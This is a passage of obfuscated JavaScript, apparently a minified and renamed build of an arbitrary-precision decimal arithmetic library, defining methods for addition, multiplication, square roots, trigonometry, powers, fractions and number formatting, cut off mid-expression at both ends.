_0x391edb['minus'](_0x9987e0)); }, _0x13d749['naturalExponential'] = _0x13d749['exp'] = function () { return _0x4fa14a(this); }, _0x13d749['naturalLogarithm'] = _0x13d749['ln'] = function () { return _0x42464e(this); }, _0x13d749['negated'] = _0x13d749['neg'] = function () { var _0x403019 = new this['constructor'](this); return _0x403019['s'] = -_0x403019['s'], _0x3c9fea(_0x403019); }, _0x13d749['plus'] = _0x13d749['add'] = function (_0x140a9a) { var _0x6cb9d4, _0x2bde49, _0x1a5b7d, _0x2a2ed9, _0x59e8cd, _0x4a902a, _0x43f730, _0x194ec2, _0x2f875c, _0x4db0a9, _0x22d1d9 = this, _0x26fe73 = _0x22d1d9['constructor']; if (_0x140a9a = new _0x26fe73(_0x140a9a), !_0x22d1d9['d'] || !_0x140a9a['d']) return _0x22d1d9['s'] && _0x140a9a['s'] ? _0x22d1d9['d'] || (_0x140a9a = new _0x26fe73(_0x140a9a['d'] || _0x22d1d9['s'] === _0x140a9a['s'] ? _0x22d1d9 : NaN)) : _0x140a9a = new _0x26fe73(NaN), _0x140a9a; if (_0x22d1d9['s'] != _0x140a9a['s']) return _0x140a9a['s'] = -_0x140a9a['s'], _0x22d1d9['minus'](_0x140a9a); if (_0x2f875c = _0x22d1d9['d'], _0x4db0a9 = _0x140a9a['d'], _0x43f730 = _0x26fe73['precision'], _0x194ec2 = _0x26fe73['rounding'], !_0x2f875c[0x0] || !_0x4db0a9[0x0]) return _0x4db0a9[0x0] || (_0x140a9a = new _0x26fe73(_0x22d1d9)), _0x636246 ? _0x3c9fea(_0x140a9a, _0x43f730, _0x194ec2) : _0x140a9a; if (_0x59e8cd = _0x4ffe16(_0x22d1d9['e'] / _0x5bfb2e), _0x1a5b7d = _0x4ffe16(_0x140a9a['e'] / _0x5bfb2e), _0x2f875c = _0x2f875c['slice'](), _0x2a2ed9 = _0x59e8cd - _0x1a5b7d) { for (_0x2a2ed9 < 0x0 ? (_0x2bde49 = _0x2f875c, _0x2a2ed9 = -_0x2a2ed9, _0x4a902a = _0x4db0a9['length']) : (_0x2bde49 = _0x4db0a9, _0x1a5b7d = _0x59e8cd, _0x4a902a = _0x2f875c['length']), _0x2a2ed9 > (_0x4a902a = (_0x59e8cd = Math['ceil'](_0x43f730 / _0x5bfb2e)) > _0x4a902a ? _0x59e8cd + 0x1 : _0x4a902a + 0x1) && (_0x2a2ed9 = _0x4a902a, _0x2bde49['length'] = 0x1), _0x2bde49['reverse'](); _0x2a2ed9--;)_0x2bde49['push'](0x0); _0x2bde49['reverse'](); } for ((_0x4a902a = _0x2f875c['length']) - (_0x2a2ed9 = _0x4db0a9['length']) < 0x0 && (_0x2a2ed9 = _0x4a902a, _0x2bde49 = _0x4db0a9, _0x4db0a9 = _0x2f875c, _0x2f875c = _0x2bde49), _0x6cb9d4 = 0x0; _0x2a2ed9;)_0x6cb9d4 = (_0x2f875c[--_0x2a2ed9] = _0x2f875c[_0x2a2ed9] + _0x4db0a9[_0x2a2ed9] + _0x6cb9d4) / _0x3ec071 | 0x0, _0x2f875c[_0x2a2ed9] %= _0x3ec071; for (_0x6cb9d4 && (_0x2f875c['unshift'](_0x6cb9d4), ++_0x1a5b7d), _0x4a902a = _0x2f875c['length']; 0x0 == _0x2f875c[--_0x4a902a];)_0x2f875c['pop'](); return _0x140a9a['d'] = _0x2f875c, _0x140a9a['e'] = _0x47f701(_0x2f875c, _0x1a5b7d), _0x636246 ? _0x3c9fea(_0x140a9a, _0x43f730, _0x194ec2) : _0x140a9a; }, _0x13d749['precision'] = _0x13d749['sd'] = function (_0x248e38) { var _0x597b8e, _0x358d5a = this; if (void 0x0 !== _0x248e38 && _0x248e38 !== !!_0x248e38 && 0x1 !== _0x248e38 && 0x0 !== _0x248e38) throw Error(_0x25bd3c + _0x248e38); return _0x358d5a['d'] ? (_0x597b8e = _0x462787(_0x358d5a['d']), _0x248e38 && _0x358d5a['e'] + 0x1 > _0x597b8e && (_0x597b8e = _0x358d5a['e'] + 0x1)) : _0x597b8e = NaN, _0x597b8e; }, _0x13d749['round'] = function () { var _0x2f227e = this, _0x20de5f = _0x2f227e['constructor']; return _0x3c9fea(new _0x20de5f(_0x2f227e), _0x2f227e['e'] + 0x1, _0x20de5f['rounding']); }, _0x13d749['sine'] = _0x13d749['sin'] = function () { var _0x2b1dca, _0x316578, _0x46cf90 = this, _0x16489f = _0x46cf90['constructor']; return _0x46cf90['isFinite']() ? _0x46cf90['isZero']() ? new _0x16489f(_0x46cf90) : (_0x2b1dca = _0x16489f['precision'], _0x316578 = _0x16489f['rounding'], _0x16489f['precision'] = _0x2b1dca + Math['max'](_0x46cf90['e'], _0x46cf90['sd']()) + _0x5bfb2e, _0x16489f['rounding'] = 0x1, _0x46cf90 = function (_0x4bedc3, _0x248a39) { var _0x372f14, _0x3397cd = _0x248a39['d']['length']; if (_0x3397cd < 0x3) return _0x248a39['isZero']() ? _0x248a39 : _0x6b3a98(_0x4bedc3, 0x2, _0x248a39, _0x248a39); _0x372f14 = (_0x372f14 = 1.4 * Math['sqrt'](_0x3397cd)) > 0x10 ? 0x10 : 0x0 | _0x372f14, _0x248a39 = _0x248a39['times'](0x1 / _0x5060d7(0x5, _0x372f14)), _0x248a39 = _0x6b3a98(_0x4bedc3, 0x2, _0x248a39, _0x248a39); for (var _0x26591f, _0x128b65 = new _0x4bedc3(0x5), _0x30a33b = new _0x4bedc3(0x10), _0x1fec6a = new _0x4bedc3(0x14); _0x372f14--;)_0x26591f = _0x248a39['times'](_0x248a39), _0x248a39 = _0x248a39['times'](_0x128b65['plus'](_0x26591f['times'](_0x30a33b['times'](_0x26591f)['minus'](_0x1fec6a)))); return _0x248a39; }(_0x16489f, _0x563e10(_0x16489f, _0x46cf90)), _0x16489f['precision'] = _0x2b1dca, _0x16489f['rounding'] = _0x316578, _0x3c9fea(_0x15b4cc > 0x2 ? _0x46cf90['neg']() : _0x46cf90, _0x2b1dca, _0x316578, !0x0)) : new _0x16489f(NaN); }, _0x13d749['squareRoot'] = _0x13d749['sqrt'] = function () { var _0x5e47ed, _0x368da5, _0x29d9e5, _0x2d6366, _0x4d7abf, _0x1006fe, _0x56a3f6 = this, _0x55aa4e = _0x56a3f6['d'], _0x5db7e0 = _0x56a3f6['e'], _0x16dc4e = _0x56a3f6['s'], _0x4b7c6f = _0x56a3f6['constructor']; if (0x1 !== _0x16dc4e || !_0x55aa4e || !_0x55aa4e[0x0]) return new _0x4b7c6f(!_0x16dc4e || _0x16dc4e < 0x0 && (!_0x55aa4e || _0x55aa4e[0x0]) ? NaN : _0x55aa4e ? _0x56a3f6 : 0x1 / 0x0); for (_0x636246 = !0x1, 0x0 == (_0x16dc4e = Math['sqrt'](+_0x56a3f6)) || _0x16dc4e == 0x1 / 0x0 ? (((_0x368da5 = _0x1d6276(_0x55aa4e))['length'] + _0x5db7e0) % 0x2 == 0x0 && (_0x368da5 += '0'), _0x16dc4e = Math['sqrt'](_0x368da5), _0x5db7e0 = _0x4ffe16((_0x5db7e0 + 0x1) / 0x2) - (_0x5db7e0 < 0x0 || _0x5db7e0 % 0x2), _0x2d6366 = new _0x4b7c6f(_0x368da5 = _0x16dc4e == 0x1 / 0x0 ? '5e' + _0x5db7e0 : (_0x368da5 = _0x16dc4e['toExponential']())['slice'](0x0, _0x368da5['indexOf']('e') + 0x1) + _0x5db7e0)) : _0x2d6366 = new _0x4b7c6f(_0x16dc4e['toString']()), _0x29d9e5 = (_0x5db7e0 = _0x4b7c6f['precision']) + 0x3; ;)if (_0x2d6366 = (_0x1006fe = _0x2d6366)['plus'](_0x226822(_0x56a3f6, _0x1006fe, _0x29d9e5 + 0x2, 0x1))['times'](0.5), _0x1d6276(_0x1006fe['d'])['slice'](0x0, _0x29d9e5) === (_0x368da5 = _0x1d6276(_0x2d6366['d']))['slice'](0x0, _0x29d9e5)) { if ('9999' != (_0x368da5 = _0x368da5['slice'](_0x29d9e5 - 0x3, _0x29d9e5 + 0x1)) && (_0x4d7abf || '4999' != _0x368da5)) { +_0x368da5 && (+_0x368da5['slice'](0x1) || '5' != _0x368da5['charAt'](0x0)) || (_0x3c9fea(_0x2d6366, _0x5db7e0 + 0x1, 0x1), _0x5e47ed = !_0x2d6366['times'](_0x2d6366)['eq'](_0x56a3f6)); break; } if (!_0x4d7abf && (_0x3c9fea(_0x1006fe, _0x5db7e0 + 0x1, 0x0), _0x1006fe['times'](_0x1006fe)['eq'](_0x56a3f6))) { _0x2d6366 = _0x1006fe; break; } _0x29d9e5 += 0x4, _0x4d7abf = 0x1; } return _0x636246 = !0x0, _0x3c9fea(_0x2d6366, _0x5db7e0, _0x4b7c6f['rounding'], _0x5e47ed); }, _0x13d749['tangent'] = _0x13d749['tan'] = function () { var _0x54d3f1, _0x4d48a4, _0x27ab10 = this, _0x50973a = _0x27ab10['constructor']; return _0x27ab10['isFinite']() ? _0x27ab10['isZero']() ? new _0x50973a(_0x27ab10) : (_0x54d3f1 = _0x50973a['precision'], _0x4d48a4 = _0x50973a['rounding'], _0x50973a['precision'] = _0x54d3f1 + 0xa, _0x50973a['rounding'] = 0x1, (_0x27ab10 = _0x27ab10['sin']())['s'] = 0x1, _0x27ab10 = _0x226822(_0x27ab10, new _0x50973a(0x1)['minus'](_0x27ab10['times'](_0x27ab10))['sqrt'](), _0x54d3f1 + 0xa, 0x0), _0x50973a['precision'] = _0x54d3f1, _0x50973a['rounding'] = _0x4d48a4, _0x3c9fea(0x2 == _0x15b4cc || 0x4 == _0x15b4cc ? _0x27ab10['neg']() : _0x27ab10, _0x54d3f1, _0x4d48a4, !0x0)) : new _0x50973a(NaN); }, _0x13d749['times'] = _0x13d749['mul'] = function (_0x513712) { var _0x33ed78, _0x40c383, _0x30a62c, _0x3e3aee, _0x4991e0, _0xde46ea, _0x229eb1, _0x4a2a4a, _0x4e69c7, _0x432635 = this, _0x234ee8 = _0x432635['constructor'], _0x1022b4 = _0x432635['d'], _0x5d93ea = (_0x513712 = new _0x234ee8(_0x513712))['d']; if (_0x513712['s'] *= _0x432635['s'], !(_0x1022b4 && _0x1022b4[0x0] && _0x5d93ea && _0x5d93ea[0x0])) return new _0x234ee8(!_0x513712['s'] || _0x1022b4 && !_0x1022b4[0x0] && !_0x5d93ea || _0x5d93ea && !_0x5d93ea[0x0] && !_0x1022b4 ? NaN : _0x1022b4 && _0x5d93ea ? 0x0 * _0x513712['s'] : _0x513712['s'] / 0x0); for (_0x40c383 = _0x4ffe16(_0x432635['e'] / _0x5bfb2e) + _0x4ffe16(_0x513712['e'] / _0x5bfb2e), (_0x4a2a4a = _0x1022b4['length']) < (_0x4e69c7 = _0x5d93ea['length']) && (_0x4991e0 = _0x1022b4, _0x1022b4 = _0x5d93ea, _0x5d93ea = _0x4991e0, _0xde46ea = _0x4a2a4a, _0x4a2a4a = _0x4e69c7, _0x4e69c7 = _0xde46ea), _0x4991e0 = [], _0x30a62c = _0xde46ea = _0x4a2a4a + _0x4e69c7; _0x30a62c--;)_0x4991e0['push'](0x0); for (_0x30a62c = _0x4e69c7; --_0x30a62c >= 0x0;) { for (_0x33ed78 = 0x0, _0x3e3aee = _0x4a2a4a + _0x30a62c; _0x3e3aee > _0x30a62c;)_0x229eb1 = _0x4991e0[_0x3e3aee] + _0x5d93ea[_0x30a62c] * _0x1022b4[_0x3e3aee - _0x30a62c - 0x1] + _0x33ed78, _0x4991e0[_0x3e3aee--] = _0x229eb1 % _0x3ec071 | 0x0, _0x33ed78 = _0x229eb1 / _0x3ec071 | 0x0; _0x4991e0[_0x3e3aee] = (_0x4991e0[_0x3e3aee] + _0x33ed78) % _0x3ec071 | 0x0; } for (; !_0x4991e0[--_0xde46ea];)_0x4991e0['pop'](); return _0x33ed78 ? ++_0x40c383 : _0x4991e0['shift'](), _0x513712['d'] = _0x4991e0, _0x513712['e'] = _0x47f701(_0x4991e0, _0x40c383), _0x636246 ? _0x3c9fea(_0x513712, _0x234ee8['precision'], _0x234ee8['rounding']) : _0x513712; }, _0x13d749['toBinary'] = function (_0x45c1e2, _0x5e72d6) { return _0x486562(this, 0x2, _0x45c1e2, _0x5e72d6); }, _0x13d749['toDecimalPlaces'] = _0x13d749['toDP'] = function (_0x41dfc2, _0x484c0c) { var _0x87b750 = this, _0x7c3f4f = _0x87b750['constructor']; return _0x87b750 = new _0x7c3f4f(_0x87b750), void 0x0 === _0x41dfc2 ? _0x87b750 : (_0x29125e(_0x41dfc2, 0x0, _0x230b1c), void 0x0 === _0x484c0c ? _0x484c0c = _0x7c3f4f['rounding'] : _0x29125e(_0x484c0c, 0x0, 0x8), _0x3c9fea(_0x87b750, _0x41dfc2 + _0x87b750['e'] + 0x1, _0x484c0c)); }, _0x13d749['toExponential'] = function (_0x3c5b17, _0x3f44c4) { var _0x413d92, _0x259ed4 = this, _0x360e49 = _0x259ed4['constructor']; return void 0x0 === _0x3c5b17 ? _0x413d92 = _0x1098c8(_0x259ed4, !0x0) : (_0x29125e(_0x3c5b17, 0x0, _0x230b1c), void 0x0 === _0x3f44c4 ? _0x3f44c4 = _0x360e49['rounding'] : _0x29125e(_0x3f44c4, 0x0, 0x8), _0x413d92 = _0x1098c8(_0x259ed4 = _0x3c9fea(new _0x360e49(_0x259ed4), _0x3c5b17 + 0x1, _0x3f44c4), !0x0, _0x3c5b17 + 0x1)), _0x259ed4['isNeg']() && !_0x259ed4['isZero']() ? '-' + _0x413d92 : _0x413d92; }, _0x13d749['toFixed'] = function (_0x5ef43a, _0x38c8b8) { var _0x23f8ae, _0x46833b, _0x37a035 = this, _0x4dbb47 = _0x37a035['constructor']; return void 0x0 === _0x5ef43a ? _0x23f8ae = _0x1098c8(_0x37a035) : (_0x29125e(_0x5ef43a, 0x0, _0x230b1c), void 0x0 === _0x38c8b8 ? _0x38c8b8 = _0x4dbb47['rounding'] : _0x29125e(_0x38c8b8, 0x0, 0x8), _0x23f8ae = _0x1098c8(_0x46833b = _0x3c9fea(new _0x4dbb47(_0x37a035), _0x5ef43a + _0x37a035['e'] + 0x1, _0x38c8b8), !0x1, _0x5ef43a + _0x46833b['e'] + 0x1)), _0x37a035['isNeg']() && !_0x37a035['isZero']() ? '-' + _0x23f8ae : _0x23f8ae; }, _0x13d749['toFraction'] = function (_0x2002ab) { var _0x3248b4, _0x4b7861, _0x3ab0d6, _0x433011, _0x487e4e, _0x48ef51, _0x136784, _0x2c44c8, _0x57fd3d, _0x4c3ef9, _0x599c85, _0x2f3cd7, _0x56362e = this, _0x54572e = _0x56362e['d'], _0x363d25 = _0x56362e['constructor']; if (!_0x54572e) return new _0x363d25(_0x56362e); if (_0x57fd3d = _0x4b7861 = new _0x363d25(0x1), _0x3ab0d6 = _0x2c44c8 = new _0x363d25(0x0), _0x48ef51 = (_0x487e4e = (_0x3248b4 = new _0x363d25(_0x3ab0d6))['e'] = _0x462787(_0x54572e) - _0x56362e['e'] - 0x1) % _0x5bfb2e, _0x3248b4['d'][0x0] = _0x5ac844(0xa, _0x48ef51 < 0x0 ? _0x5bfb2e + _0x48ef51 : _0x48ef51), null == _0x2002ab) _0x2002ab = _0x487e4e > 0x0 ? _0x3248b4 : _0x57fd3d; else { if (!(_0x136784 = new _0x363d25(_0x2002ab))['isInt']() || _0x136784['lt'](_0x57fd3d)) throw Error(_0x25bd3c + _0x136784); _0x2002ab = _0x136784['gt'](_0x3248b4) ? _0x487e4e > 0x0 ? _0x3248b4 : _0x57fd3d : _0x136784; } for (_0x636246 = !0x1, _0x136784 = new _0x363d25(_0x1d6276(_0x54572e)), _0x4c3ef9 = _0x363d25['precision'], _0x363d25['precision'] = _0x487e4e = _0x54572e['length'] * _0x5bfb2e * 0x2; _0x599c85 = _0x226822(_0x136784, _0x3248b4, 0x0, 0x1, 0x1), 0x1 != (_0x433011 = _0x4b7861['plus'](_0x599c85['times'](_0x3ab0d6)))['cmp'](_0x2002ab);)_0x4b7861 = _0x3ab0d6, _0x3ab0d6 = _0x433011, _0x433011 = _0x57fd3d, _0x57fd3d = _0x2c44c8['plus'](_0x599c85['times'](_0x433011)), _0x2c44c8 = _0x433011, _0x433011 = _0x3248b4, _0x3248b4 = _0x136784['minus'](_0x599c85['times'](_0x433011)), _0x136784 = _0x433011; return _0x433011 = _0x226822(_0x2002ab['minus'](_0x4b7861), _0x3ab0d6, 0x0, 0x1, 0x1), _0x2c44c8 = _0x2c44c8['plus'](_0x433011['times'](_0x57fd3d)), _0x4b7861 = _0x4b7861['plus'](_0x433011['times'](_0x3ab0d6)), _0x2c44c8['s'] = _0x57fd3d['s'] = _0x56362e['s'], _0x2f3cd7 = _0x226822(_0x57fd3d, _0x3ab0d6, _0x487e4e, 0x1)['minus'](_0x56362e)['abs']()['cmp'](_0x226822(_0x2c44c8, _0x4b7861, _0x487e4e, 0x1)['minus'](_0x56362e)['abs']()) < 0x1 ? [_0x57fd3d, _0x3ab0d6] : [_0x2c44c8, _0x4b7861], _0x363d25['precision'] = _0x4c3ef9, _0x636246 = !0x0, _0x2f3cd7; }, _0x13d749['toHexadecimal'] = _0x13d749['toHex'] = function (_0x2e6c9d, _0x3c89a4) { return _0x486562(this, 0x10, _0x2e6c9d, _0x3c89a4); }, _0x13d749['toNearest'] = function (_0x143a72, _0x18d4f8) { var _0x39212d = this, _0xb85b15 = _0x39212d['constructor']; if (_0x39212d = new _0xb85b15(_0x39212d), null == _0x143a72) { if (!_0x39212d['d']) return _0x39212d; _0x143a72 = new _0xb85b15(0x1), _0x18d4f8 = _0xb85b15['rounding']; } else { if (_0x143a72 = new _0xb85b15(_0x143a72), void 0x0 === _0x18d4f8 ? _0x18d4f8 = _0xb85b15['rounding'] : _0x29125e(_0x18d4f8, 0x0, 0x8), !_0x39212d['d']) return _0x143a72['s'] ? _0x39212d : _0x143a72; if (!_0x143a72['d']) return _0x143a72['s'] && (_0x143a72['s'] = _0x39212d['s']), _0x143a72; } return _0x143a72['d'][0x0] ? (_0x636246 = !0x1, _0x39212d = _0x226822(_0x39212d, _0x143a72, 0x0, _0x18d4f8, 0x1)['times'](_0x143a72), _0x636246 = !0x0, _0x3c9fea(_0x39212d)) : (_0x143a72['s'] = _0x39212d['s'], _0x39212d = _0x143a72), _0x39212d; }, _0x13d749['toNumber'] = function () { return +this; }, _0x13d749['toOctal'] = function (_0x50bfcf, _0xd19680) { return _0x486562(this, 0x8, _0x50bfcf, _0xd19680); }, _0x13d749['toPower'] = _0x13d749['pow'] = function (_0x3f2995) { var _0x25f1fb, _0x465e9d, _0x338d3b, _0x17b383, _0x21163f, _0x2b27e4, _0x16a44e = this, _0x36cff2 = _0x16a44e['constructor'], _0x55aed3 = +(_0x3f2995 = new _0x36cff2(_0x3f2995)); if (!(_0x16a44e['d'] && _0x3f2995['d'] && _0x16a44e['d'][0x0] && _0x3f2995['d'][0x0])) return new _0x36cff2(_0x5ac844(+_0x16a44e, _0x55aed3)); if ((_0x16a44e = new _0x36cff2(_0x16a44e))['eq'](0x1)) return _0x16a44e; if (_0x338d3b = _0x36cff2['precision'], _0x21163f = _0x36cff2['rounding'], _0x3f2995['eq'](0x1)) return _0x3c9fea(_0x16a44e, _0x338d3b, _0x21163f); if ((_0x25f1fb = _0x4ffe16(_0x3f2995['e'] / _0x5bfb2e)) >= _0x3f2995['d']['length'] - 0x1 && (_0x465e9d = _0x55aed3 < 0x0 ? -_0x55aed3 : _0x55aed3) <= 0x1fffffffffffff) return _0x17b383 = _0x55b7dc(_0x36cff2, _0x16a44e, _0x465e9d, _0x338d3b), _0x3f2995['s'] < 0x0 ? new _0x36cff2(0x1)['div'](_0x17b383) : _0x3c9fea(_0x17b383, _0x338d3b, _0x21163f); if ((_0x2b27e4 = _0x16a44e['s']) < 0x0) { if (_0x25f1fb < _0x3f2995['d']['length'] - 0x1) return new _0x36cff2(NaN); if (0x0 == (0x1 & _0x3f2995['d'][_0x25f1fb]) && (_0x2b27e4 = 0x1), 0x0 == _0x16a44e['e'] && 0x1 == _0x16a44e['d'][0x0] && 0x1 == _0x16a44e['d']['length']) return _0x16a44e['s'] = _0x2b27e4, _0x16a44e; } return (_0x25f1fb = 0x0 != (_0x465e9d = _0x5ac844(+_0x16a44e, _0x55aed3)) && isFinite(_0x465e9d) ? new _0x36cff2(_0x465e9d + '')['e'] : _0x4ffe16(_0x55aed3 * (Math['log']('0.' + _0x1d6276(_0x16a44e['d'])) / Math['LN10'] + _0x16a44e['e'] + 0x1))) > _0x36cff2['maxE'] + 0x1 || _0x25f1fb < _0x36cff2['minE'] - 0x1 ? new _0x36cff2(_0x25f1fb > 0x0 ? _0x2b27e4 / 0x0 : 0x0) : (_0x636246 = !0x1, _0x36cff2['rounding'] = _0x16a44e['s'] = 0x1, _0x465e9d = Math['min'](0xc, (_0x25f1fb + '')['length']), (_0x17b383 = _0x4fa14a(_0x3f2995['times'](_0x42464e(_0x16a44e, _0x338d3b + _0x465e9d)), _0x338d3b))['d'] && _0x6d88b9((_0x17b383 = _0x3c9fea(_0x17b383, _0x338d3b + 0x5, 0x1))['d'], _0x338d3b, _0x21163f) && (_0x25f1fb = _0x338d3b + 0xa, +_0x1d6276((_0x17b383 = _0x3c9fea(_0x4fa14a(_0x3f2995['times'](_0x42464e(_0x16a44e, _0x25f1fb + _0x465e9d)), _0x25f1fb), _0x25f1fb + 0x5, 0x1))['d'])['slice'](_0x338d3b + 0x1, _0x338d3b + 0xf) + 0x1 == 0x5af3107a4000 && (_0x17b383 = _0x3c9fea(_0x17b383, _0x338d3b + 0x1, 0x0))), _0x17b383['s'] = _0x2b27e4, _0x636246 = !0x0, _0x36cff2['rounding'] = _0x21163f, _0x3c9fea(_0x17b383, _0x338d3b, _0x21163f)); }, _0x13d749['toPrecision'] = function (_0x43eb12, _0x40466f) { var _0xcded0a, _0x4c8db4 = this, _0x1d5ec5 = _0x4c8db4['constructor']; return void 0x0 === _0x43eb12 ? _0xcded0a = _0x1098c8(_0x4c8db4, _0x4c8db4['e'] <= _0x1d5ec5['toExpNeg'] || _0x4c8db4['e'] >= _0x1d5ec5['toExpPos']) : (_0x29125e(_0x43eb12, 0x1, _0x230b1c), void 0x0 === _0x40466f ? _0x40466f = _0x1d5ec5['rounding'] : _0x29125e(_0x40466f, 0x0, 0x8), _0xcded0a = _0x1098c8(_0x4c8db4 = _0x3c9fea(new _0x1d5ec5(_0x4c8db4), _0x43eb12, _0x40466f), _0x43eb12 <= _0x4c8db4['e'] || _0x4c8db4['e'] <= _0x1d5ec5['toExpNeg'], _0x43eb12)), _0x4c8db4['isNeg']() && !_0x4c8db4['isZero']() ? '-' + _0xcded0a : _0xcded0a; }, _0x13d749['toSignificantDigits'] = _0x13d749['toSD'] = function (_0x168f02, _0x46a925) { var _0x497d15 = this['constructor']; return void 0x0 === _0x168f02 ? (_0x168f02 = _0x497d15['precision'], _0x46a925 = _0x497d15['rounding']) : (_0x29125e(_0x168f02, 0x1, _0x230b1c), void 0x0 === _0x46a925 ? _0x46a925 = _0x497d15['rounding'] : _0x29125e(_0x46a925, 0x0, 0x8)), _0x3c9fea(new _0x497d15(this), _0x168f02, _0x46a925); }, _0x13d749['toString'] = function () { var _0x51bbcf = this, _0x3e3e50 = _0x51bbcf['constructor'], _0x2ec9b7 = _0x1098c8(_0x51bbcf, _0x51bbcf['e'] <= _0x3e3e50['toExpNeg'] || _0x51bbcf['e'] >= _0x3e3e50['toExpPos']); return _0x51bbcf['isNeg']() && !_0x51bbcf['isZero']() ? '-' + _0x2ec9b7 : _0x2ec9b7; }, _0x13d749['truncated'] = _0x13d749['trunc'] = function () { return _0x3c9fea(new this['constructor'](this), this['e'] + 0x1, 0x1); }, _0x13d749['valueOf'] = _0x13d749['toJSON'] = function () { var _0x51aa5f = this, _0x385794 = _0x51aa5f['constructor'], _0x91063c = _0x1098c8(_0x51aa5f, _0x51aa5f['e'] <= _0x385794['toExpNeg'] || _0x51aa5f['e'] >= _0x385794['toExpPos']); return _0x51aa5f['isNeg']() ? '-' + _0x91063c : _0x91063c; }; var _0x226822 = (function () { function _0x26704e(_0x35b8c6, _0x12ca59, _0xfe4561) { var _0x56be93, _0x3c899f = 0x0, _0x1e50d8 = _0x35b8c6['length']; for (_0x35b8c6 = _0x35b8c6['slice'](); _0x1e50d8--;)_0x56be93 = _0x35b8c6[_0x1e50d8] * _0x12ca59 + _0x3c899f, _0x35b8c6[_0x1e50d8] = _0x56be93 % _0xfe4561 | 0x0, _0x3c899f = _0x56be93 / _0xfe4561 | 0x0; return _0x3c899f && _0x35b8c6['unshift'](_0x3c899f), _0x35b8c6; } function _0x3c69bb(_0x43c678, _0x43d95a, _0x3ca979, _0x56e86d) { var _0x1873f6, _0x5c855b; if (_0x3ca979 != _0x56e86d) _0x5c855b = _0x3ca979 > _0x56e86d ? 0x1 : -0x1; else { for (_0x1873f6 = _0x5c855b = 0x0; _0x1873f6 < _0x3ca979; _0x1873f6++)if (_0x43c678[_0x1873f6] != _0x43d95a[_0x1873f6]) { _0x5c855b = _0x43c678[_0x1873f6] > _0x43d95a[_0x1873f6] ? 0x1 : -0x1; break; } } return _0x5c855b; } function _0x2b63f0(_0x37b602, _0x200239, _0xa6b508, _0x4569b9) { for (var _0x2ba496 = 0x0; _0xa6b508--;)_0x37b602[_0xa6b508] -= _0x2ba496, _0x2ba496 = _0x37b602[_0xa6b508] < _0x200239[_0xa6b508] ? 0x1 : 0x0, _0x37b602[_0xa6b508] = _0x2ba496 * _0x4569b9 + _0x37b602[_0xa6b508] - _0x200239[_0xa6b508]; for (; !_0x37b602[0x0] && _0x37b602['length'] > 0x1;)_0x37b602['shift'](); } return function (_0x4c1ddc, _0x4ea625, _0x464de5, _0x50f2a4, _0x472026, _0x4678c5) { var _0x588ddc, _0x252734, _0xe66a81, _0x8147c4, _0x250243, _0x3ec48f, _0x3cafa5, _0x12b7f6, _0x4bea70, _0x2f50c3, _0x4d730b, _0xa8d4fa, _0x159355, _0x4022dc, _0x4f73b9, _0x1d2f2a, _0x44f12f, _0x437dc4, _0x1a108b, _0x29ba2f, _0x14be89 = _0x4c1ddc['constructor'], _0x18f384 = _0x4c1ddc['s'] == _0x4ea625['s'] ? 0x1 : -0x1, _0x13c5b4 = _0x4c1ddc['d'], _0xca38dd = _0x4ea625['d']; if (!(_0x13c5b4 && _0x13c5b4[0x0] && _0xca38dd && _0xca38dd[0x0])) return new _0x14be89(_0x4c1ddc['s'] && _0x4ea625['s'] && (_0x13c5b4 ? !_0xca38dd || _0x13c5b4[0x0] != _0xca38dd[0x0] : _0xca38dd) ? _0x13c5b4 && 0x0 == _0x13c5b4[0x0] || !_0xca38dd ? 0x0 * _0x18f384 : _0x18f384 / 0x0 : NaN); for (_0x4678c5 ? (_0x250243 = 0x1, _0x252734 = _0x4c1ddc['e'] - _0x4ea625['e']) : (_0x4678c5 = _0x3ec071, _0x250243 = _0x5bfb2e, _0x252734 = _0x4ffe16(_0x4c1ddc['e'] / _0x250243) - _0x4ffe16(_0x4ea625['e'] / _0x250243)), _0x1a108b = _0xca38dd['length'], _0x44f12f = _0x13c5b4['length'], _0x2f50c3 = (_0x4bea70 = new _0x14be89(_0x18f384))['d'] = [], _0xe66a81 = 0x0; _0xca38dd[_0xe66a81] == (_0x13c5b4[_0xe66a81] || 0x0); _0xe66a81++); if (_0xca38dd[_0xe66a81] > (_0x13c5b4[_0xe66a81] || 0x0) && _0x252734--, null == _0x464de5 ? (_0x4022dc = _0x464de5 = _0x14be89['precision'], _0x50f2a4 = _0x14be89['rounding']) : _0x4022dc = _0x472026 ? _0x464de5 + (_0x4c1ddc['e'] - _0x4ea625['e']) + 0x1 : _0x464de5, _0x4022dc < 0x0) _0x2f50c3['push'](0x1), _0x3ec48f = !0x0; else { if (_0x4022dc = _0x4022dc / _0x250243 + 0x2 | 0x0, _0xe66a81 = 0x0, 0x1 == _0x1a108b) { for (_0x8147c4 = 0x0, _0xca38dd = _0xca38dd[0x0], _0x4022dc++; (_0xe66a81 < _0x44f12f || _0x8147c4) && _0x4022dc--; _0xe66a81++)_0x4f73b9 = _0x8147c4 * _0x4678c5 + (_0x13c5b4[_0xe66a81] || 0x0), _0x2f50c3[_0xe66a81] = _0x4f73b9 / _0xca38dd | 0x0, _0x8147c4 = _0x4f73b9 % _0xca38dd | 0x0; _0x3ec48f = _0x8147c4 || _0xe66a81 < _0x44f12f; } else { for ((_0x8147c4 = _0x4678c5 / (_0xca38dd[0x0] + 0x1) | 0x0) > 0x1 && (_0xca38dd = _0x26704e(_0xca38dd, _0x8147c4, _0x4678c5), _0x13c5b4 = _0x26704e(_0x13c5b4, _0x8147c4, _0x4678c5), _0x1a108b = _0xca38dd['length'], _0x44f12f = _0x13c5b4['length']), _0x1d2f2a = _0x1a108b, _0xa8d4fa = (_0x4d730b = _0x13c5b4['slice'](0x0, _0x1a108b))['length']; _0xa8d4fa < _0x1a108b;)_0x4d730b[_0xa8d4fa++] = 0x0; (_0x29ba2f = _0xca38dd['slice']())['unshift'](0x0), _0x437dc4 = _0xca38dd[0x0], _0xca38dd[0x1] >= _0x4678c5 / 0x2 && ++_0x437dc4; do { _0x8147c4 = 0x0, (_0x588ddc = _0x3c69bb(_0xca38dd, _0x4d730b, _0x1a108b, _0xa8d4fa)) < 0x0 ? (_0x159355 = _0x4d730b[0x0], _0x1a108b != _0xa8d4fa && (_0x159355 = _0x159355 * _0x4678c5 + (_0x4d730b[0x1] || 0x0)), (_0x8147c4 = _0x159355 / _0x437dc4 | 0x0) > 0x1 ? (_0x8147c4 >= _0x4678c5 && (_0x8147c4 = _0x4678c5 - 0x1), 0x1 == (_0x588ddc = _0x3c69bb(_0x3cafa5 = _0x26704e(_0xca38dd, _0x8147c4, _0x4678c5), _0x4d730b, _0x12b7f6 = _0x3cafa5['length'], 